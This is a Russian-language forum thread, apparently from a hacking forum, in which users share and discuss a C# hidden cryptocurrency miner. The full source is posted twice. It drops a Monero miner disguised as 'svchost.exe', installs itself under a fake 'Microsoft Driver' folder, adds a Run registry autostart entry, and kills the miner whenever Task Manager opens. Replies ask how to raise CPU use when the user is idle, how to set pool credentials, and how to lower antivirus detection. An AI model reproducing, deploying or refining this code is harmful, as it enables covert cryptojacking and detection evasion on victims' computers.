запустил всё норм работает после перезагрузки пк тишина проверил реестр нет записи какие причины могут быть?
Я лично другой код в интернете находил и вставлял работает безотказно Вот мой код using Microsoft.Win32; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; namespace instail { class Program { static string direct = @"C:\Program Files\Microsoft Driver"; //Путь к папке, где будут храниться все файлы static string _filename = "svchost"; //Название майнера static string proc = "25";//нагрузка на CPU static string pool = "stratum+tcp://xmr.pool.minergate.com:45560"; // Pool static string user = "-----------------------"; //User static string filename = _filename + ".exe"; static string exeToRun = direct + @"\" + filename; const string name = "HdDriver"; static string ExePath = ""; static void Main(string[] args) { Install(); //Копируем файлы Майнера в папку CopyFile(); //Копируем файлы бота в папку SetAutorunValue(true);//Делаем автозапуск (взяв з https://zelenka.guru/threads/345524/) StartMine(); //Запускаем майнер while (true) //Мониторим процессы, если диспетчер задач открытый закрываем майнер { int con = 0; Process[] procs = Process.GetProcesses(); foreach (Process p in procs) { if (p.ProcessName == "Taskmgr") { Process[] miner = Process.GetProcessesByName(_filename); if (miner.Length > 0) { miner[0].Kill(); } con++; } } if (con == 0) { Process[] miner1 = Process.GetProcessesByName(_filename); if (miner1.Length == 0) { StartMine(); } } Thread.Sleep(500); } } private static void StartMine() { Process run = new Process(); run.StartInfo.Arguments = $" --max-cpu-usage={proc} --donate-level=1 -o {pool} -u {user} "; run.StartInfo.FileName = exeToRun; run.StartInfo.RedirectStandardOutput = true; run.StartInfo.UseShellExecute = false; run.StartInfo.CreateNoWindow = true; run.Start(); } public static void CopyFile() { if (!File.Exists(direct + @"\" + "svhost.exe")) { string filePath = Assembly.GetExecutingAssembly().Location; File.Copy(filePath, direct + @"\" + "svhost.exe"); } } public static bool SetAutorunValue(bool autorun) { const string name = "systems"; string ExePath = direct + @"\" + "svhost.exe"; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } private static void Install() { byte[] exeBytes = Properties.Resources._1MSASCuiL; if (!Directory.Exists(direct)) { Directory.CreateDirectory(direct); } if (!File.Exists(exeToRun)) { using (FileStream exeFile = new FileStream(exeToRun, FileMode.Create)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } } } } } Код using Microsoft.Win32; using System.Diagnostics; using System.IO; using System.Reflection; using System.Threading; namespace instail { class Program { static string direct = @"C:\Program Files\Microsoft Driver"; //Путь к папке, где будут храниться все файлы static string _filename = "svchost"; //Название майнера static string proc = "25";//нагрузка на CPU static string pool = "stratum+tcp://xmr.pool.minergate.com:45560"; // Pool static string user = "-----------------------"; //User static string filename = _filename + ".exe"; static string exeToRun = direct + @"\" + filename; const string name = "HdDriver"; static string ExePath = ""; static void Main(string[] args) { Install(); //Копируем файлы Майнера в папку CopyFile(); //Копируем файлы бота в папку SetAutorunValue(true);//Делаем автозапуск (взяв з https://zelenka.guru/threads/345524/) StartMine(); //Запускаем майнер while (true) //Мониторим процессы, если диспетчер задач открытый закрываем майнер { int con = 0; Process[] procs = Process.GetProcesses(); foreach (Process p in procs) { if (p.ProcessName == "Taskmgr") { Process[] miner = Process.GetProcessesByName(_filename); if (miner.Length > 0) { miner[0].Kill(); } con++; } } if (con == 0) { Process[] miner1 = Process.GetProcessesByName(_filename); if (miner1.Length == 0) { StartMine(); } } Thread.Sleep(500); } } private static void StartMine() { Process run = new Process(); run.StartInfo.Arguments = $" --max-cpu-usage={proc} --donate-level=1 -o {pool} -u {user} "; run.StartInfo.FileName = exeToRun; run.StartInfo.RedirectStandardOutput = true; run.StartInfo.UseShellExecute = false; run.StartInfo.CreateNoWindow = true; run.Start(); } public static void CopyFile() { if (!File.Exists(direct + @"\" + "svhost.exe")) { string filePath = Assembly.GetExecutingAssembly().Location; File.Copy(filePath, direct + @"\" + "svhost.exe"); } } public static bool SetAutorunValue(bool autorun) { const string name = "systems"; string ExePath = direct + @"\" + "svhost.exe"; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } private static void Install() { byte[] exeBytes = Properties.Resources._1MSASCuiL; if (!Directory.Exists(direct)) { Directory.CreateDirectory(direct); } if (!File.Exists(exeToRun)) { using (FileStream exeFile = new FileStream(exeToRun, FileMode.Create)) { exeFile.Write(exeBytes, 0, exeBytes.Length); } } } } }
http://telegra.ph/CHto-takoe-AirDrop-ili-kak-poluchat-kriptovalyutu-besplatno-02-19 Вот так крипту надежнее получать
автор молодец! но плохо что теперь нельзя налету менять параметры "cpu-affinity" взаимно с "threads" дабы увеличить скорость майнера вплоть до х2 на некоторых процах.. но все равно большое спасибо!!
Есть ли возможность сделать так ,чтобы когда компьютер был не активен секунд 40 он включался бы на полную мощность , а когда компьютер активен, то на 10-15%?
где прописывать именно свои данные для майнинга, что значить строчки static string pool = "stratum+tcp://miner.xyz:3333"; // Pool static string user = "123"; //User
Хей, чё по детекту? Меня что-то не радует нихрена https://www.virustotal.com/#/file/6...47da3a21c0e22b8cc17775a21111c6f92df/detection